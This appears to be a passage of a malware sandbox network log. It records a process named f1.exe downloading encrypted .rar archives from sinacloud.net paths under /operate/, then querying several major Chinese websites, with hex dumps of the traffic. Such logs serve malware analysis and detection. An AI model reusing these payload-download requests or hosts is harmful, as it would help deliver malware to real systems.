8b b2 fe 80 bd 9b 2e e0 77 6c c2 0c b4 4d c9 62 43 7d 1c 75 42 a5 2a 45 fd 49 72 5c 12 71 77 d8 57 6a 68 1e [TRUNCATED] Data Ascii: PKOYtclst@1Od&%$n(hQ$wK1S>E}(f6Kz9d-]TW_2mx 2=tyv/hm,8JZMp >:gW~s`'KYe--<:R>'I/XNXvV'Y_,q1Eq1}QT^D\|1qR`+BaDE9FCn>,% ,.wlMbC}uBEIr\qwWjh6o\@]KS)%HCjm>WG=SmQSX-f\|B8El+M+OxtM9-:HoSDq,nXR<_Syc>-C$LDmfSTA>;:p82k$2zL7dq)28rD'lZ00o)&ORy7+/E9+.AkKeX,Z{PMw4v_1:N@'0XmTZlU.9A{mzmH! dy58_,C}iIm?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	49723	27.221.16.149	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:20.111450911 CEST	232	OUT	GET /operate/26533 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: sinacloud.net Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:21.292428017 CEST	1236	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Sun, 04 Aug 2024 08:57:18 GMT Content-Type: application/octet-stream Content-Length: 369276 Connection: keep-alive X-RequestId: 2cf9f313-2408-0416-5721-b4055d752a1d X-Requester: GRPS000000ANONYMOUSE Last-Modified: Thu, 01 Aug 2024 17:29:13 GMT X-Filesize: 369276 ETag: "b4c82777549e5bd16426f5c144b882d2" x-amz-meta-crc32: 7465B7F0 Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-369275/369276 Data Raw: 50 4b 03 04 14 00 01 00 08 00 39 0b 02 59 48 17 a2 22 08 a2 05 00 00 f2 05 00 09 00 00 00 32 36 35 33 33 2e 72 61 72 8c c9 9d 0b 80 8d 68 fe 0d ce 0e 3e ee 6c d4 0d 3e 0c c2 e8 12 88 4f 9d cf 5a 61 23 df 7b 1a 2c 87 94 c7 f0 6f f8 34 dd 82 2e 55 4b 43 8e f3 2b 2b 4c 8f 77 30 68 a6 33 78 be cb 69 8c c0 92 c3 e1 72 bf bd 0d f9 1c 37 ae d6 f6 6e a0 3d 18 17 09 ae 19 5d 19 16 85 30 2c ab 6f a2 f9 db af 17 32 dd 93 c6 36 1f ca 93 e6 6b ab 76 45 c2 5d 74 86 9b 60 74 b2 26 d6 f2 d7 b1 45 40 f4 92 79 2e 1b 05 2d a4 a6 90 ee 2e 3e 41 f3 f6 95 49 a3 87 98 11 ac e1 90 58 a3 cb e6 85 b8 ea 88 93 bf 79 ae 5c 10 34 23 5a b5 9e 5f c6 68 11 7c 8b bd 71 ab b7 14 6e 1f a4 29 3e 28 c3 c1 91 be 9e d0 8f 0d db 6e 7d b2 dc 81 5e 2c 40 0d 3c ab 64 48 7a a6 27 de 98 01 ca a5 b0 2d ed 60 23 81 ba 86 1d 2b 72 1e 9c 04 0f 5d d9 6a 93 e7 9f b7 85 a2 4c ed 12 68 0f 11 2a d3 51 e5 e4 d0 19 4a 10 dd 40 72 1c e0 0a 33 6b 7b 8b 3e 0a 00 aa d7 bf f1 a0 5d ae ea c4 15 3e c3 ad a5 b4 d3 d7 30 77 1a 80 14 e0 ae e2 dd 3d 86 d1 12 59 b1 [TRUNCATED] Data Ascii: PK9YH"26533.rarh>l>OZa#{,o4.UKC++Lw0h3xir7n=]0,o26kvE]t`t&E@y.-.>AIXy\4#Z_h\|qn)>(n}^,@<dHz'-`#+r]jLh*QJ@r3k{>]>0w=Y4{OMnOC~):irk<1>0_~Iis-wO&k,nqRbs5@?F{piONI5ow\-zNi:93Y=>e1UQ%6aVWU@zYIS+hD\>M
Aug 4, 2024 10:57:21.292504072 CEST	1236	IN	Data Raw: 34 dc ef b7 dd b0 db 10 bd 20 95 a6 24 24 8a 96 f9 00 db 50 fe ed 7a 26 bc 0c fa 23 57 c3 56 56 4f ac b5 fd 69 0a 6f 69 e2 a6 f9 bb 58 af bc 9e f9 4b 84 54 62 19 2e 23 88 aa 48 cc e0 7d cc 68 6e e7 4d 6f 1d 8b d2 d2 72 01 c3 18 39 c0 22 3c 4c 7b Data Ascii: 4 $$Pz&#WVVOioiXKTb.#H}hnMor9"<L{`*a"}f{rboT/,2+Cdq{io\|^?g#}`,l(4P{!QG7[1M^+u9!+zh
Aug 4, 2024 10:57:21.292536974 CEST	1236	IN	Data Raw: 22 8e 22 e3 66 12 ef ea 78 f5 b6 b8 4d 29 a1 f1 a1 6a 13 db 07 e5 99 13 a2 3c 0c 0d 6d a8 7d 57 2e d0 49 c0 40 05 77 a8 b7 9b 89 00 9d 8d 24 19 27 97 9c 10 13 75 d9 33 87 29 a0 01 1d 0f e7 61 34 6f 9a 1f ef ac cc 7a 80 3c 37 e1 05 92 14 6d dc ff Data Ascii: ""fxM)j<m}W.I@w$'u3)a4oz<7m=b>)auf;D 31^OHFV/h=@s(e_)f%_l[W>/F@ijb(}yn]u]"?08JkMV#Ao4\a9
Aug 4, 2024 10:57:21.293159962 CEST	1236	IN	Data Raw: be cb 44 0b 23 6f 3b 95 86 40 22 25 85 6d ba 36 4f 9e d1 04 c6 87 60 dd af 28 ba 4d ea df 2c 6e 8d cd 5a b1 dd 28 97 94 04 ce 2f fc 21 ac 86 b0 b4 07 e2 43 1d dc f9 58 19 8c 8a f9 ed cb 55 5e 50 85 cc 6c 7f 91 51 39 71 b8 6d b1 7b 67 d4 a6 4c e7 Data Ascii: D#o;@"%m6O`(M,nZ(/!CXU^PlQ9qm{gL~KTHH(Vp,T(;Y_q<S7>E=[>jy5y`jqdGK%YHDh*K)C!y[9z<C5Uh;HnWES
Aug 4, 2024 10:57:21.293171883 CEST	1236	IN	Data Raw: 20 33 a9 93 d8 e2 4d ae b4 e3 da 6f 80 49 22 fc 23 25 e2 bc 6f de 62 6e bb c7 2b d2 d3 9f b4 7c c5 5d 6a 85 64 d4 98 9b eb 35 c3 a5 b4 6c 59 ef c4 fa cf ca 3e 60 10 49 8f fe ce ab 2f 99 69 ca 79 63 38 fa a7 6d 62 9f 9c 04 7a d2 7c 0c c3 c9 58 db Data Ascii: 3MoI"#%obn+\|]jd5lY>`I/iyc8mbz\|X'Qk${f7l.}5z8`"{RR,chjeBzu#%FrGq3<AWOe<`1C23o^tHkB<E!g!%3
Aug 4, 2024 10:57:21.293184996 CEST	1236	IN	Data Raw: 66 6f d1 5d 25 a0 2f 25 12 82 41 b6 61 b0 09 42 8c e7 3c 32 3d 6a 60 40 76 84 a5 34 0d 39 20 ba e5 a6 b5 67 cf ab 34 86 bb ec 35 9b d5 4f 7e 95 2d 2d e5 77 2d 40 34 d3 77 a8 85 ac 0d fa 9a 7c d0 f9 c6 49 92 5c 59 f7 8e 91 be eb ea 40 cc ad 08 71 Data Ascii: fo]%/%AaB<2=j`@v49 g45O~--w-@4w\|I\Y@q&qCK,( .@!WbeTqT/{QlIED#"CqOh?I?;m</urweojp)$Sdm..M>QT6?+2xVe
Aug 4, 2024 10:57:21.293190956 CEST	776	IN	Data Raw: 30 a4 59 06 38 f0 7e 5e 3b 07 ab 32 62 61 72 3b 4f 5a 70 34 f8 25 bc 0b d5 be 5c b5 7b d5 ba e7 d0 62 eb 78 26 22 4d eb ac 96 37 8b 18 ff 8c 20 e2 4c 63 4f cc 80 b0 0d a2 6d 47 34 e1 9e 87 d1 bb ba a5 3d 35 14 b3 74 27 28 45 b1 06 ca 13 42 4a f2 Data Ascii: 0Y8~^;2bar;OZp4%\{bx&"M7 LcOmG4=5t'(EBJpnV)VoieDY].U(Pm%s2?M/e9Imc]jMn7(pIapXng,(`5n"~`GEJ>a\|
Aug 4, 2024 10:57:21.293206930 CEST	1236	IN	Data Raw: 6d e4 7f 18 d5 75 16 a5 5d cc a1 fc 26 41 dd ad 89 8f e9 d7 a2 db 64 2d 1a 3b e2 13 ca 7c 49 67 8d ca c1 51 da eb 1b 5d e3 2e b9 7c f9 43 68 8c 1b 53 1b 1a 29 17 a4 be 4c 1e 87 8d d4 24 34 40 e5 1c e2 ff 86 9c 1e f7 84 c5 0a 2d 3c 2e 04 8f 7e bb Data Ascii: mu]&Ad-;\|IgQ].\|ChS)L$4@-<.~"sAj/tK/6R.-yi.?MgY)k]_[mO,LcmpEuXmD:B7tEy9hewVbN
Aug 4, 2024 10:57:21.293493986 CEST	1236	IN	Data Raw: dd 0a 02 47 61 ac a6 d0 eb 8e 49 f2 77 cc c3 00 95 60 6c ef 48 c6 77 b9 05 8e 66 a7 1f 65 d6 68 62 32 5a 07 e3 d8 7f 64 fa 9d ee d0 99 a3 4b ab 73 98 ca db c6 a8 86 5d 53 01 2d 12 86 24 b1 a6 78 19 3c 7a a6 46 03 29 61 8b f9 20 72 d7 f5 9a 88 91 Data Ascii: GaIw`lHwfehb2ZdKs]S-$x<zF)a r\|qF!_w7#Kt9t&AK6m68V9{;8HNj/RhAN/ru.[WfYl+u!KoqNV E
Aug 4, 2024 10:57:21.293510914 CEST	1236	IN	Data Raw: da 20 3a 02 ab c2 5b 3f d1 92 c9 5c 7c 88 4e 9d b9 ec d5 ce 92 4a 6d 0b 9f f4 a7 5b 62 bd 0e b8 5b d3 7b 7a 77 87 49 1a a4 c6 80 8d 49 0c f6 a4 19 68 b6 83 8c cf c0 99 e2 7f cf 32 1d f0 45 97 2a 6e 2b b2 65 64 92 a3 bf cc 24 05 a8 41 59 88 fd e4 Data Ascii: :[?\\|NJm[b[{zwIIh2En+ed$AYNVUr"?MJ~h,oOfXF}=30_d?T!#]8?"{CRR.(nd4k>4Zf~b6Fvj#?9Ir:2}p?5>
Aug 4, 2024 10:57:21.297457933 CEST	1236	IN	Data Raw: aa e1 92 0b 63 ce 7b 3f 76 3d b8 b2 7c 3b 84 bf d0 2b 29 78 68 42 87 bd 28 69 24 bc 59 65 3d 94 dd 92 51 79 f2 77 94 c5 3b 22 a3 af b5 23 28 38 f0 37 71 8a a1 01 af c4 f7 45 b4 06 90 89 4c 06 d8 5b fa 75 7c aa 92 14 27 4b dd a2 ca b4 cd 4b 8d d7 Data Ascii: c{?v=\|;+)xhB(i$Ye=Qyw;"#(87qEL[u\|'KKm<_e952yk_tFs C=FowQm%Zr+\/ms:z ~ 1AN0Y9Dx~=6*K

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	49724	27.221.16.149	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:25.261919022 CEST	232	OUT	GET /operate/43260 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: sinacloud.net Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:26.601526976 CEST	1227	IN	HTTP/1.1 206 Partial Content Server: nginx Date: Sun, 04 Aug 2024 08:57:23 GMT Content-Type: application/octet-stream Content-Length: 556 Connection: keep-alive X-RequestId: fcd712ee-2408-0416-5726-047bcb4b7810 X-Requester: GRPS000000ANONYMOUSE Last-Modified: Fri, 01 Mar 2024 11:38:49 GMT X-Filesize: 556 ETag: "39723b30623f151e688100318c19ab53" x-amz-meta-crc32: 64C43196 Cache-Control: max-age=31536000 Access-Control-Allow-Headers: Origin, Content-Type, Accept, Range, Content-Length Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS, HEAD Access-Control-Max-Age: 31536000 Access-Control-Allow-Origin: * Content-Range: bytes 0-555/556 Data Raw: 50 4b 03 04 14 00 01 00 08 00 66 9c 61 58 ac 04 b3 52 b8 01 00 00 38 07 00 00 09 00 00 00 34 33 32 36 30 2e 72 61 72 a8 05 27 6d b6 8e 16 37 39 c2 47 b5 0d 9a 3e 0c ff 37 73 30 c2 dc 43 48 9c 9d 69 38 da cf f8 1b f9 1d 51 60 c9 a2 0b 00 8a 2b 87 7a 7c aa 65 18 2f 5f 60 4e 77 35 16 f3 a5 0c bd ca 3a 74 59 1c 53 66 34 b7 71 52 a2 89 3e 73 61 34 4b e3 e3 e1 1c 47 b6 5e 30 60 ec b0 9f 6b 34 be ea 9f c5 ff ea f3 81 ad dc fd 00 d9 d1 45 12 1e 17 ca f0 47 7f 82 61 19 5a c9 e2 cf a2 25 f5 da 66 a2 44 4c b3 69 d5 11 d1 86 d5 02 f6 98 0f 27 61 5e fa 92 a2 2d 5c ce 83 c9 52 c5 dc 6f 60 4c a7 5a 64 99 a0 6e 85 2b db 64 9f bc 51 d7 f8 e9 eb c2 c1 a7 ba d7 12 0c ac 28 a6 33 74 03 15 27 87 18 ce 95 f3 56 9b 35 7f b9 d4 bc e9 fc ea 03 fe e5 87 be 63 d6 6e 2e 38 99 ed 5b 75 1b 7d 04 d5 74 fc 41 28 ea bb 79 25 da be b9 1b b9 9d d9 e5 af 38 e5 9c fc 76 a4 d0 2d c3 de f3 a1 ea d4 fe ef d2 bf a7 91 a8 02 bc 9b 84 00 2a 9c 89 1d 6e 94 93 47 3c b5 cf 87 7e b1 90 a8 fd 92 e0 e4 9e fa 6a 30 df d9 f0 85 2a 5c cb 11 75 17 50 [TRUNCATED] Data Ascii: PKfaXR843260.rar'm79G>7s0CHi8Q`+z\|e/_`Nw5:tYSf4qR>sa4KG^0`k4EGaZ%fDLi'a^-\Ro`LZdn+dQ(3t'V5cn.8[u}tA(y%8v-nG<~j0\uPDLA0%~L gc#C ?25,)*5i_K^F\C6MicWwVWWUz^M~n!x5+i>qh3mPKfaXR843260.rarPK7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	49725	103.107.217.26	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:27.957755089 CEST	222	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.kuaishou.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:29.277971983 CEST	425	IN	HTTP/1.1 307 Temporary Redirect Date: Sun, 04 Aug 2024 08:57:29 GMT Content-Type: text/html Content-Length: 218 Connection: keep-alive Location: https://www.kuaishou.com/ X-KSClient-IP: 8.46.123.33 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>307 Temporary Redirect</title></head><body><center><h1>307 Temporary Redirect</h1></center><hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	49727	163.181.130.194	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:28.500999928 CEST	220	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.douyin.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:29.277411938 CEST	589	IN	HTTP/1.1 301 Moved Permanently Server: Tengine Date: Sun, 04 Aug 2024 08:57:29 GMT Content-Type: text/html Content-Length: 262 Connection: keep-alive Location: https://www.douyin.com/ x-tt-trace-tag: id=03;cdn-cache=miss;type=dyn Via: ens-cache12.de8[,0] Timing-Allow-Origin: * EagleId: a3b5829017227618490562571e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 68 61 73 20 62 65 65 6e 20 61 73 73 69 67 6e 65 64 20 61 20 6e 65 77 20 70 65 72 6d 61 6e 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>301 Moved Permanently</h1><p>The requested resource has been assigned a new permanent URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	49728	43.159.71.118	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:28.504333019 CEST	218	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.sohu.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:29.433157921 CEST	223	IN	HTTP/1.1 302 Found Location: https://www.sohu.com/ Content-Length: 0 X-NWS-LOG-UUID: 23511555223851871 Connection: keep-alive Server: OverSea_E0 Date: Sun, 04 Aug 2024 08:57:29 GMT X-Cache-Lookup: Return Directly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	49729	43.132.73.61	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:28.504627943 CEST	216	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.qq.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:29.475786924 CEST	368	IN	HTTP/1.1 302 Found Server: stgw Content-Type: text/html Location: https://www.qq.com/ Content-Length: 137 Connection: keep-alive Date: Sun, 04 Aug 2024 08:57:29 GMT EO-LOG-UUID: 7770362294013521152 EO-Cache-Status: MISS Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 73 74 67 77 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>stgw</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	49730	119.28.109.132	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:28.504651070 CEST	219	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.sogou.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:29.568948984 CEST	564	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sun, 04 Aug 2024 08:57:29 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Set-Cookie: ABTEST=0\|1722761849\|v17; expires=Tue, 03-Sep-24 08:57:29 GMT; path=/ P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://www.sogou.com/ UUID: a25f3073-ef84-4850-b997-fdfa76ff11ba Data Raw: 38 61 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 8a<html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.7	49731	163.181.42.239	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:28.504746914 CEST	221	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.sina.com.cn Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:29.435302973 CEST	581	IN	HTTP/1.1 302 Found Server: Tengine Date: Sun, 04 Aug 2024 08:57:29 GMT Content-Type: text/html Content-Length: 242 Connection: keep-alive Location: https://www.sina.com.cn/ X-DSL-CHECK: 5 X-Via-CDN: f=aliyun,s=ens-cache3.sg27,c=8.46.123.33; Via: ens-cache3.sg27[,0] Timing-Allow-Origin: * EagleId: a3b52a9717227618492854109e Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 72 65 73 69 64 65 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 64 65 72 20 61 20 64 69 66 66 65 72 65 6e 74 20 55 52 49 2e 3c 2f 70 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>302 Found</h1><p>The requested resource resides temporarily under a different URI.</p><hr/>Powered by Tengine</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.7	49732	103.235.46.96	80	3180	C:\Users\user\Desktop\f1.exe

Timestamp	Bytes transferred	Direction	Data
Aug 4, 2024 10:57:28.510333061 CEST	219	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Language: zh-CN Accept-Encoding: gzip, deflate Host: www.baidu.com Range: bytes=0- Connection: Keep-Alive
Aug 4, 2024 10:57:29.441925049 CEST	1236	IN	HTTP/1.1 200 OK Bdpagetype: 1 Bdqid: 0xf6b9811d003a6b25 Connection: keep-alive Content-Encoding: gzip Content-Type: text/html; charset=utf-8 Date: Sun, 04 Aug 2024 08:57:29 GMT P3p: CP=" OTI DSP COR IVA OUR IND COM " P3p: CP=" OTI DSP COR IVA OUR IND COM " Server: BWS/1.1 Set-Cookie: BAIDUID=E19F946FD6E793A578C0775D9DB47083:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: BIDUPSID=E19F946FD6E793A578C0775D9DB47083; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: PSTM=1722761849; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com Set-Cookie: BAIDUID=E19F946FD6E793A5848542AD46ADE5F9:FG=1; max-age=31536000; expires=Mon, 04-Aug-25 08:57:29 GMT; domain=.baidu.com; path=/; version=1; comment=bd Set-Cookie: BDSVRTM=33; path=/ Set-Cookie: BD_HOME=1; path=/ Traceid: 1722761849199805108217778382965579606821 X-Ua-Compatible: IE=Edge,chrome=1 X-Xss-Protection: 1;mode=block Transfer-Encoding: chunked Data Raw: 62 64 63 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ec bd 69 93 1c 4b 72 18 f8 1d bf a2 d8 6d 43 00 53 5d f7 dd 18 3c b2 4f a0 71 74 17 fa 00 1a cd 37 db 96 95 95 59 55 e8 ba ba b2 aa fa 12 cc 48 69 47 94 56 cb cb 68 92 6c 45 ae 76 49 33 ad ed 9a ed 0e 29 5b 6a c5 25 45 f2 c7 68 de 9b 99 4f fb 17 d6 dd 23 22 33 ae ac a3 d1 20 25 33 bd 7a 00 aa 32 e3 f0 f0 f0 f0 f0 f0 2b 7e f4 2b db 07 5b c7 1f eb 3b 89 f6 b8 d7 fd e6 47 bf 92 4a 1d 1d 6f 1c 9f 1c 25 0e 5e a7 52 df fc 88 3d 6d 7b 4e f3 9b 1f f5 bc b1 03 c5 c6 c3 94 77 39 e9 4c 9f af 6c 0d fa 63 af 3f Data Ascii: bdciKrmCS]<Oqt7YUHiGVhlEvI3)[j%EhO#"3 %3z2+~+[;GJo%^R=m{Nw9Llc?
Aug 4, 2024 10:57:29.441975117 CEST	224	IN	Data Raw: 4e 1d df 0c bd 95 84 cb 7e 3d 5f 19 7b d7 e3 0c 56 7c e6 b6 9d 51 e0 8d 9f 4f c6 7e aa ba 62 69 e1 34 75 b2 91 da 1a f4 86 ce b8 d3 e8 ca 8d ec ed 3c f7 9a 2d 6f cd 6d 8f 06 3d ef 79 4e d4 0e 7b 71 ba 57 ce 4d b0 92 e8 3b f0 7a 65 e4 f9 de 68 e4 Data Ascii: N~=_{V\|QO~bi4u<-om=yN{qWM;zehD1tz^t#US6u/'Ow?g?7_???wo/~/g?~_
Aug 4, 2024 10:57:29.441986084 CEST	1236	IN	Data Raw: e4 fb df fa b3 ff ef 3f fd 8f df ff f3 bf fd ee 9f fd f9 f7 ff fc 37 bf ff f7 ff f8 3f ff e6 3f fe f9 ff f4 b7 df fd d5 ff f6 8b ff e7 27 bf f8 bb df fe ee 77 fe c9 cf fe ea ef c2 5e a0 a9 5f fe c9 7f f8 fe 5f fe f9 f7 bf f3 d3 ef fe ea 0f a1 ee Data Ascii: ?7??'w^__wg?_k*~ou;>_Jzg2WWWiN)J_+1NiyQqa`z+5y3\|ST^;.pF
Aug 4, 2024 10:57:29.442065001 CEST	1236	IN	Data Raw: 90 90 3e 91 29 71 86 8d 8f 04 45 e1 77 c1 6f 88 d1 e8 9c 00 65 56 10 59 f5 7d 9f 0b 76 ae e3 b6 3d 21 de b5 ba 83 86 d3 cd 20 af 18 ba e7 0c b8 f3 62 be 59 2e e4 72 3a 9f c8 26 04 cf 86 9d 24 1c 11 43 9c c2 e1 c5 74 22 97 0f f9 bc 8e ea 54 27 58 Data Ascii: >)qEwoeVY}v=! bY.r:&$Ct"T'Xy\|0v1)WNp<%{eVRLiBf)$XmP8aRp-gz+SB6)b(#t1gXXDDp7v)?VP%{6n3F`d-=
